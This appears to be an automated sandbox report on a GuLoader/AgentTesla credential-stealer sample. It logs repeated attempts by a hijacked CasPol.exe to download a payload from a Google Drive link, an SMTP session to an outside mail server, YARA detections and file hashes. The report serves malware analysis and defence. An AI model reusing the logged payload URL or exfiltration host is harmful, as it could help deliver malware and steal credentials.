2022-04-20 13:31:40 UTC	243	IN	Data Raw: dc 47 10 1a b3 ad 27 24 73 48 24 39 0a 19 23 5c e1 7d 5b fb 51 16 48 26 78 2a 8e ce fa 32 34 06 4e 97 71 c1 7e 69 ca 84 50 19 64 63 b8 fc 1f 36 29 4f e6 7a 0b 0e c8 2d a3 6b 2f 8f d1 c1 1e 7b ab 23 9b bd 03 40 14 46 f5 c8 80 5f 78 43 e7 a6 e8 60 69 6d 49 ea 59 de 03 18 a8 29 43 88 bd 3b d9 95 62 15 23 89 75 de 9a ae 47 50 30 12 8f 2c 19 4b 4f b1 42 74 14 5f b6 c2 f2 ce a8 3c 9d 8c c8 dd 33 21 cb 72 75 e0 da ab 26 a2 33 67 5e 18 13 fb 7e 1c 00 35 91 89 79 98 67 14 ed c7 e5 6b 68 4b 0c 67 1c 08 39 d1 34 ff d2 06 65 65 9e ee 95 57 b0 cc 1b a5 d1 0b 2e d9 9f aa d8 dd d6 ee 0a 3d 8f ef 6f 34 88 a6 a7 20 ce 39 b8 08 70 19 4c 48 bf 80 56 84 af d9 57 78 42 02 d2 2b 5e 33 82 c6 33 c3 a5 76 d1 9e 18 f6 dc eb 91 c9 68 eb 81 25 30 a3 76 aa 3c 6a 98 48 2e b2 f1 da bf Data Ascii: G'$sH$9#\}[QH&x*24Nq~iPdc6)Oz-k/{#@F_xC`imIY)C;b#uGP0,KOBt_<3!ru&3g^~5ygkhKg94eeW.=o4 9pLHVWxB+^33vh%0v<jH.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49756	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:32 UTC	3	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:41 UTC	3	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:41 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:41 UTC	3	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:41 UTC	4	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49762	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:41 UTC	4	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:51 UTC	4	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:51 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:51 UTC	5	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:51 UTC	6	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49764	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:51 UTC	6	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:56 UTC	6	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:56 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:56 UTC	6	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:56 UTC	7	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49766	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:57 UTC	7	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:05 UTC	8	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:05 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:05 UTC	8	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:05 UTC	9	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49768	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:06 UTC	9	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:15 UTC	9	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:15 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:15 UTC	10	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:15 UTC	10	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49770	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:16 UTC	11	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:23 UTC	11	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:23 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:23 UTC	11	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:23 UTC	12	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49771	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:24 UTC	12	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:29 UTC	12	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:29 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:29 UTC	13	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:29 UTC	14	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49773	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:30 UTC	14	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:36 UTC	14	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:36 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:36 UTC	14	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:36 UTC	15	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 20, 2022 15:32:05.700212955 CEST	587	49786	185.51.191.23	192.168.11.20	220-thtwentythree.tarhely.eu ESMTP Exim 4.95 #2 Wed, 20 Apr 2022 15:32:04 +0200 220- We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 20, 2022 15:32:05.700575113 CEST	49786	587	192.168.11.20	185.51.191.23	EHLO 494126
Apr 20, 2022 15:32:05.722093105 CEST	587	49786	185.51.191.23	192.168.11.20	250-thtwentythree.tarhely.eu Hello 494126 [102.129.143.41] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 20, 2022 15:32:05.722443104 CEST	49786	587	192.168.11.20	185.51.191.23	STARTTLS
Apr 20, 2022 15:32:05.744647026 CEST	587	49786	185.51.191.23	192.168.11.20	220 TLS go ahead

Target ID:	1
Start time:	15:28:51
Start date:	20/04/2022
Path:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Imagebase:	0x400000
File size:	125736 bytes
MD5 hash:	04E8C57A5DF1834C590C49CCC8734D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	15:29:06
Start date:	20/04/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Imagebase:	0x7e0000
File size:	108664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	15:29:07
Start date:	20/04/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6dac60000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	13.4%
Signature Coverage:	18.1%
